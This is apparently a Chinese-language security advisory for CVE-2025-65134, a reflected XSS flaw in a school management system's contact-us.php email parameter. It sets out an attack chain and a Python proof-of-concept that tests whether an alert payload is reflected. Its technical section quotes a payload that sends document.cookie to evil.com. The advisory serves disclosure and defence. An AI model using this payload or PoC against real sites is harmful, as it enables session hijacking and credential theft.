IPBUF安全漏洞报告
English
CVE-2025-65134 CVSS 6.1 中危

CVE-2025-65134 School Management System 反射型XSS漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2025-65134
漏洞类型
反射型跨站脚本 (XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
manikandan580 School-management-system

相关标签

XSSReflected XSSSchool Management SystemCVE-2025-65134Web Security

漏洞概述

manikandan580 School-management-system 1.0 版本中存在反射型跨站脚本(XSS)漏洞。该漏洞位于 /studentms/admin/contact-us.php 接口,由于未对 email POST 参数进行有效过滤,攻击者可诱导用户触发恶意脚本,从而窃取用户凭证或执行未授权操作。

技术细节

该漏洞的根本原因在于服务器端未能对用户提交的 email POST 参数进行适当的输入净化和输出编码。在 /studentms/admin/contact-us.php 处理逻辑中,应用程序直接将用户输入的数据回显在 HTTP 响应页面中,未经过 HTML 转义。攻击者可以利用这一缺陷,精心构造包含恶意 JavaScript 代码的 Payload(例如:`<script>document.location='http://evil.com/?c='+document.cookie</script>`)。由于攻击无需认证(PR:N)且利用难度低(AC:L),攻击者只需诱导受害者访问带有恶意参数的 URL 或提交特定表单,即可在受害者的浏览器上下文中执行任意代码。这可能导致会话劫持、敏感信息窃取或进一步的重定向攻击,对系统的机密性和完整性构成威胁。

攻击链分析

STEP 1
侦察
攻击者识别目标正在使用 manikandan580 School-management-system 1.0 版本。
STEP 2
构造攻击载荷
攻击者构造包含恶意 JavaScript 代码的 Payload,并将其赋值给 email 参数。
STEP 3
投递攻击
攻击者通过社会工程学手段(如钓鱼邮件)诱导受害者点击特制的链接或提交恶意表单数据。
STEP 4
执行代码
受害者浏览器请求 /studentms/admin/contact-us.php,服务器未过滤直接反射 Payload,浏览器解析并执行恶意脚本。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_xss(target_url): """ PoC for CVE-2025-65134 Reflected XSS in School Management System """ vuln_path = "/studentms/admin/contact-us.php" full_url = f"{target_url}{vuln_path}" # Malicious payload to test XSS xss_payload = '"><script>alert("CVE-2025-65134")</script>' # POST data containing the vulnerable parameter post_data = { "email": xss_payload } try: response = requests.post(full_url, data=post_data, timeout=10) # Check if the payload is reflected in the response (unfiltered) if xss_payload in response.text: print(f"[+] Vulnerability confirmed! The target {target_url} is vulnerable to Reflected XSS.") print(f"[+] Payload reflected: {xss_payload}") else: print("[-] Vulnerability not detected or payload filtered.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://localhost" exploit_xss(target)

影响范围

manikandan580 School-management-system 1.0

防御指南

临时缓解措施
建议管理员暂时禁用 contact-us.php 页面或通过 Web 应用防火墙 (WAF) 拦截包含恶意脚本字符的 POST 请求,直到官方补丁发布并完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表